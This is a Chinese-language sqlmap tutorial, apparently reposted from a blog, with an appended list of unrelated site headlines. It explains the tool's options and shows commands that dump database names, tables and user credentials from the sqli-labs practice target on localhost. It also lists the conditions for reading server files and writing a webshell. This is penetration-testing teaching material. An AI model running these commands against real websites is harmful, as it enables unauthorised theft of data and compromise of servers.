白昼安全
一、sqlmap简介与使用
当我们明白sql注入的原理,渗透过程似乎很简单。但事实上,在实际的渗透当中,漏洞注入并非仅仅只是通过简单的一两次尝试就能够得到测试人员想要的答案。很多时候,它需要经过许多次繁杂的尝试。所以,要提高渗透测试的效率,单纯的依靠测试人员自身的实战经验也是远远不够的。因此,我们需要渗透工具的帮助。而sqlmap就是这样一款强大而且便于操作的渗透测试工具。
sqlmap是一个开源的渗透测试工具,可以用来进行自动化检测,利用sql注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。
1、sqlmap的安装
sqlmap安装完成后,那么即可开始使用。
2、sqlmap的使用
-u
指定目标url (可以是http协议也可以是https协议)
-d
连接数据库
--dbs
列出所有的数据库
--current-db
列出当前数据库
--tables
列出当前的表
--columns
列出当前的列
-d
选择使用哪个数据库
-t
选择使用哪个表
-c
选择使用哪个列
--dump
获取字段中的数据
--dump-all
拖库
--batch
自动选择yes
--smart
启发式快速判断,节约浪费时间
--forms
尝试使用post注入
-r
加载文件中的http请求(本地保存的请求包txt文件)
-l
加载文件中的http请求(本地保存的请求包日志文件)
-g
自动获取google搜索的前一百个结果,对有get参数的url测试
-o
开启所有默认性能优化
--tamper
调用脚本进行注入
-v
指定sqlmap的回显等级
--delay
设置多久访问一次
--os-shell
获取主机shell,一般不太好用,因为没权限
-m
批量操作
-c
指定配置文件,会按照该配置文件执行动作
-data
data指定的数据会当做post数据提交
-timeout
设定超时时间
-level
设置注入探测等级共有五个等级,默认为1级, 这个参数不仅影响使用哪些payload同时也会影响测试的注入点,get和post的数据都会测试,http cookie在level为2的时候就会测试,http user-agent/referer头在level为3的时候就会测试。总之在你不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。
--is-dba
判断当前用户是否为数据库管理员权限
--risk
风险等级
--identify-waf
检测防火墙类型
--param-del=分割符
设置参数的分割符
--skip-urlencode
不进行url编码
--keep-alive
设置持久连接,加快探测速度
--null-connection
检索没有body响应的内容,多用于盲注
--thread
最大为10 设置多线程
--delay
有些web服务器请求访问太过频繁可能会被防火墙拦截,使用--delay就可以设定两次http请求的延时
--safe-url
有的web服务器会在多次错误的访问请求后屏蔽所有请求,使用--safe-url 就可以每隔一段时间去访问一个正常的页面。
--technique
指定注入类型
b:boolean-based-blind (布尔型型注入)
e:error-based (报错型注入)
u:union query-based (联合注入)
s:starked queries (通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数,可多语句查询注入)
t:time-based blind (基于时间延迟注入)
--tamper
语法:--tamper [脚本名称]
当调用多个脚本的时候,脚本之间用逗号隔开,调用的脚本在 sqlmap文件夹下的 tamper 文件夹中
-v [x]
使用sqlmap注入测试时,可以使用 -v [x] 参数来指定回显信息的复杂程度, x 的取值范围为[0~6]:
等级
解释
0
只显示python错误以及严重信息
1
同时显示基本信息和警告信息
2
同时显示debug信息
3
同时显示注入的pyload
4
同时显示http请求
5
同时显示http相应头
6
同时显示http相应页面
二、sqlmap自动化基础注入实战
环境:sql-lib靶场第一关,url如下
http://127.0.0.1/targetrange/sqli-labs-master/less-1/?id=1
1、取数据库名
python sqlmap.py -u http://127.0.0.1/targetrange/sqli-labs-master/less-1/?id=1 --dbs --batch
效果如下
2、读取表名
python sqlmap.py -u http://127.0.0.1/targetrange/sqli-labs-master/less-1/?id=1 -d security --tables --batch
效果如下
3、读取字段名
python sqlmap.py -u http://127.0.0.1/targetrange/sqli-labs-master/less-1/?id=1 -d security -t “users” --columns --batch
效果如下
4、读取数据
python sqlmap.py -u http://127.0.0.1/targetrange/sqli-labs-master/less-1/?id=1 -d security -t “users” -c “username,password” --dump --batch
效果如下
三、sqlmap读取目标系统文件
利用sqlmap读取文件,也是需要满足条件的。
(1)当前sql注入用户必须为dba权限(--is-dba为true)
(2)需要知道网站的绝对路径
(3)my.ini文件中的这项配置secure_file_priv=””为空
四、通过sqlmap写入webshell
sqlmap写入webshell也是和手工写入webshell一样需要满足条件:
(1)当前sql注入用户必须为dba权限(--is-dba为true)
(2)需要知道网站的绝对路径
(3)my.ini文件中的这项配置secure_file_priv=””为空
这个操作和通过sql注入的union配合into outfile原理一样,只不过sqlmap提供了一键化操作,格式如下即可
--file-write //要写入的文件
--file-dest //写入文件存放的路径
具体操作就是通过--os-shell,相信很多同学应该都会了,所以这里就不多讲了
原文链接:https://blog.csdn.net/qq_63844103/article/details/128671338
又一批新的“罚单”被中国移动公示
Trias网络中的DAG数据结构介绍
新技术可望重振美国制造业?
中国电池行业第十个五年计划 内容是什么?
四家存储器制造商的最新一代3D NAND闪存的技术和成本分析
Sqlmap简介与使用
芯盾时代再度荣获中国网络安全联盟两大奖项
移远通信首批推出基于Qualcomm 9205芯片组的多模LPWA模组
芯启源携智能网卡和高端EDA工具亮相ICCAD 2021
无线传感器在农业中的实际应用
国产“机器人护士”已在多家医院和养老院上岗
无线充电技术为什么始终无法突破
谷歌机器人验证只是点个勾,为什么机器人就是做不到?
Opera正准备给安卓用户开发一个内置的加密货币钱包
中国电子展助力西部——中国电子展6月亮相成都 全面展示工业和军工电子技术解决方案
为什么笔记本内存越大反而越慢?
TVS管在手机ESD保护中能起到什么作用
多家传统汽车经销商与厂商矛盾激化,传统车市转型势在必行
新的一年,新的职业:4 位领导者分享在 AI 领域开启职业生涯的技巧
新颖蓝牙技术的LED点阵屏设计